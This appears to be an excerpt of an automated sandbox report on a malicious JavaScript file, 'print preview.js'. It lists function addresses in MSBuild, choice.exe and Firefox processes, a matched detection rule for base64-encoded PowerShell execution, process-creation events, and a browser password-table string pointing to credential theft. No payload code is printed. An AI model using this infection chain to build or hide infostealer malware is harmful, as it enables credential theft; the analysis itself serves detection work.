                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013514608_2_01351460
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141F43F8_2_0141F43F
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140E4F68_2_0140E4F6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013607708_2_01360770
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013847508_2_01384750
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141F7B08_2_0141F7B0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135C7C08_2_0135C7C0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_014116CC8_2_014116CC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137C6E08_2_0137C6E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013769628_2_01376962
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013699508_2_01369950
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137B9508_2_0137B950
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013629A08_2_013629A0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0142A9A68_2_0142A9A6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013CD8008_2_013CD800
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013628408_2_01362840
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136A8408_2_0136A840
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013468B88_2_013468B8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0138E8F08_2_0138E8F0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013638E08_2_013638E0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141AB408_2_0141AB40
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141FB768_2_0141FB76
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01416BD78_2_01416BD7
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137FB808_2_0137FB80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0139DBF98_2_0139DBF9
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D5BF08_2_013D5BF0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01417A468_2_01417A46
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141FA498_2_0141FA49
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D3A6C8_2_013D3A6C
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0140DAC68_2_0140DAC6
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013FDAAC8_2_013FDAAC
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013A5AA08_2_013A5AA0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135EA808_2_0135EA80
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01411D5A8_2_01411D5A
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01417D738_2_01417D73
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136AD008_2_0136AD00
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01363D408_2_01363D40
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01378DBF8_2_01378DBF
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0135ADE08_2_0135ADE0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0137FDC08_2_0137FDC0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D9C328_2_013D9C32
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01360C008_2_01360C00
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141FCF28_2_0141FCF2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01350CF28_2_01350CF2
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01400CB58_2_01400CB5
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01380F308_2_01380F30
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013A2F288_2_013A2F28
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141FF098_2_0141FF09
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_013D4F408_2_013D4F40
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01361F928_2_01361F92
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0136CFE08_2_0136CFE0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141FFB18_2_0141FFB1
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01352FC88_2_01352FC8
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141EE268_2_0141EE26
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01360E598_2_01360E59
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01369EB08_2_01369EB0
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141EEDB8_2_0141EEDB
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_01372E908_2_01372E90
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: 8_2_0141CE938_2_0141CE93
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E4E4F611_2_04E4E4F6
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5244611_2_04E52446
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D9146011_2_04D91460
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5F43F11_2_04E5F43F
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E3D5B011_2_04E3D5B0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E6059111_2_04E60591
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5757111_2_04E57571
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA053511_2_04DA0535
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E516CC11_2_04E516CC
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DBC6E011_2_04DBC6E0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D9C7C011_2_04D9C7C0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5F7B011_2_04E5F7B0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DC475011_2_04DC4750
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA077011_2_04DA0770
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5F0E011_2_04E5F0E0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E570E911_2_04E570E9
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA70C011_2_04DA70C0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E4F0CC11_2_04E4F0CC
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E581CC11_2_04E581CC
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E601AA11_2_04E601AA
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DAB1B011_2_04DAB1B0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E6B16B11_2_04E6B16B
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D8F17211_2_04D8F172
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DD516C11_2_04DD516C
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D9010011_2_04D90100
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E3A11811_2_04E3A118
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E412ED11_2_04E412ED
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DBB2C011_2_04DBB2C0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA52A011_2_04DA52A0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E4027411_2_04E40274
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E603E611_2_04E603E6
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DAE3F011_2_04DAE3F0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DE739A11_2_04DE739A
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D8D34C11_2_04D8D34C
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5A35211_2_04E5A352
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5132D11_2_04E5132D
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5FCF211_2_04E5FCF2
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D90CF211_2_04D90CF2
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E40CB511_2_04E40CB5
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E19C3211_2_04E19C32
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA0C0011_2_04DA0C00
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DBFDC011_2_04DBFDC0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D9ADE011_2_04D9ADE0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DB8DBF11_2_04DB8DBF
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E57D7311_2_04E57D73
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA3D4011_2_04DA3D40
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E51D5A11_2_04E51D5A
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DAAD0011_2_04DAAD00
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5EEDB11_2_04E5EEDB
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DB2E9011_2_04DB2E90
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA9EB011_2_04DA9EB0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5CE9311_2_04E5CE93
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA0E5911_2_04DA0E59
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5EE2611_2_04E5EE26
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D92FC811_2_04D92FC8
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DACFE011_2_04DACFE0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA1F9211_2_04DA1F92
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5FFB111_2_04E5FFB1
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E14F4011_2_04E14F40
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5FF0911_2_04E5FF09
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DC0F3011_2_04DC0F30
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DE2F2811_2_04DE2F28
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DCE8F011_2_04DCE8F0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA38E011_2_04DA38E0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D868B811_2_04D868B8
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA284011_2_04DA2840
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DAA84011_2_04DAA840
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E0D80011_2_04E0D800
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E6A9A611_2_04E6A9A6
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA29A011_2_04DA29A0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DA995011_2_04DA9950
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DBB95011_2_04DBB950
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DB696211_2_04DB6962
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E4DAC611_2_04E4DAC6
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E3DAAC11_2_04E3DAAC
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04D9EA8011_2_04D9EA80
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DE5AA011_2_04DE5AA0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E13A6C11_2_04E13A6C
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E57A4611_2_04E57A46
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5FA4911_2_04E5FA49
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DDDBF911_2_04DDDBF9
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E56BD711_2_04E56BD7
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04DBFB8011_2_04DBFB80
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5FB7611_2_04E5FB76
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04E5AB4011_2_04E5AB40
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BA20F011_2_02BA20F0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02B9D20011_2_02B9D200
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02B9B33511_2_02B9B335
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02B9B34011_2_02B9B340
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02B9118811_2_02B91188
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02B9B1F011_2_02B9B1F0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02B9B1E711_2_02B9B1E7
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BA57C011_2_02BA57C0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BA39D011_2_02BA39D0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BA39CB11_2_02BA39CB
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02B9CFE011_2_02B9CFE0
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BBBF1011_2_02BBBF10
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B7E5EC11_2_04B7E5EC
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B7D6B811_2_04B7D6B8
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B8522411_2_04B85224
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_04B7E25711_2_04B7E257
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_000002083C9225EC12_2_000002083C9225EC
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_000002083C9216B812_2_000002083C9216B8
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_000002083C92922412_2_000002083C929224
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 12_2_000002083C92225712_2_000002083C922257
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: String function: 01395130 appears 36 times
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: String function: 0134B970 appears 268 times
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: String function: 013A7E54 appears 96 times
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: String function: 013CEA12 appears 86 times
                  Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exeCode function: String function: 013DF290 appears 105 times
                  Source: C:\Windows\SysWOW64\choice.exeCode function: String function: 04DD5130 appears 36 times
                  Source: C:\Windows\SysWOW64\choice.exeCode function: String function: 04E0EA12 appears 85 times
                  Source: C:\Windows\SysWOW64\choice.exeCode function: String function: 04E1F290 appears 105 times
                  Source: C:\Windows\SysWOW64\choice.exeCode function: String function: 04D8B970 appears 268 times
                  Source: C:\Windows\SysWOW64\choice.exeCode function: String function: 04DE7E54 appears 89 times
                  Source: print preview.jsInitial sample: Strings found which are bigger than 50
                  Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 4835
                  Source: C:\Windows\System32\wscript.exeProcess created: Commandline size = 4835Jump to behavior
                  Source: Process Memory Space: powershell.exe PID: 7760, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: Process Memory Space: powershell.exe PID: 7892, type: MEMORYSTRMatched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, TaskParameter.csTask registration methods: 'CreateNewTaskItemFrom'
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, OutOfProcTaskHostNode.csTask registration methods: 'RegisterTaskObject', 'UnregisterPacketHandler', 'RegisterPacketHandler', 'UnregisterTaskObject', 'GetRegisteredTaskObject'
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, TaskLoader.csTask registration methods: 'CreateTask'
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, RegisteredTaskObjectCacheBase.csTask registration methods: 'GetLazyCollectionForLifetime', 'RegisterTaskObject', 'DisposeObjects', 'IsCollectionEmptyOrUncreated', 'UnregisterTaskObject', 'DisposeCacheObjects', 'GetRegisteredTaskObject', 'GetCollectionForLifetime'
                  Source: 12.2.firefox.exe.3cb0cd14.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
                  Source: 12.2.firefox.exe.3cb0cd14.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
                  Source: 12.2.firefox.exe.3cb0cd14.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 11.2.choice.exe.538cd14.3.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
                  Source: 11.2.choice.exe.538cd14.3.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
                  Source: 11.2.choice.exe.538cd14.3.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 12.2.firefox.exe.3cb0cd14.0.raw.unpack, CommunicationsUtilities.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 12.2.firefox.exe.3cb0cd14.0.raw.unpack, CommunicationsUtilities.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 11.2.choice.exe.3175418.0.raw.unpack, CommunicationsUtilities.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 11.2.choice.exe.3175418.0.raw.unpack, CommunicationsUtilities.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 11.2.choice.exe.538cd14.3.raw.unpack, CommunicationsUtilities.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 11.2.choice.exe.538cd14.3.raw.unpack, CommunicationsUtilities.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, CommunicationsUtilities.csSecurity API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, CommunicationsUtilities.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
                  Source: 0.2.wscript.exe.118acd14.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: 11.2.choice.exe.3175418.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent(bool)
                  Source: 11.2.choice.exe.3175418.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.IO.Pipes.PipeSecurity.AddAccessRule(System.IO.Pipes.PipeAccessRule)
                  Source: 11.2.choice.exe.3175418.0.raw.unpack, NodeEndpointOutOfProcBase.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
                  Source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmpBinary or memory string: .configAMSBUILDDIRECTORYDELETERETRYCOUNTCMSBUILDDIRECTORYDELETRETRYTIMEOUT.sln
                  Source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmpBinary or memory string: MSBuild MyApp.sln /t:Rebuild /p:Configuration=Release
                  Source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmpBinary or memory string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb
                  Source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmpBinary or memory string: *.sln
                  Source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmpBinary or memory string: MSBuild MyApp.csproj /t:Clean
                  Source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmpBinary or memory string: /ignoreprojectextensions:.sln
                  Source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmpBinary or memory string: MSBUILD : error MSB1048: Solution files cannot be debugged directly. Run MSBuild first with an environment variable MSBUILDEMITSOLUTION=1 to create a corresponding ".sln.metaproj" file. Then debug that.
                  Source: classification engineClassification label: mal100.spre.troj.spyw.expl.evad.winJS@14/9@3/2
                  Source: C:\Windows\System32\wscript.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\uploaded_textfile[1]Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
                  Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7768:120:WilError_03
                  Source: C:\Windows\System32\wscript.exeFile created: C:\Windows\Temp\???7????6????2????7.jsJump to behavior
                  Source: C:\Windows\System32\wscript.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
                  Source: C:\Windows\System32\wscript.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                  Source: choice.exe, 0000000B.00000002.2696218342.0000000003254000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003231000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003226000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                  Source: print preview.jsVirustotal: Detection: 16%
                  Source: unknownProcess created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\print preview.js"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\wscript.exe "C:\Windows\System32\wscript.exe" C:\Windows\Temp\???7????6????2????7.js
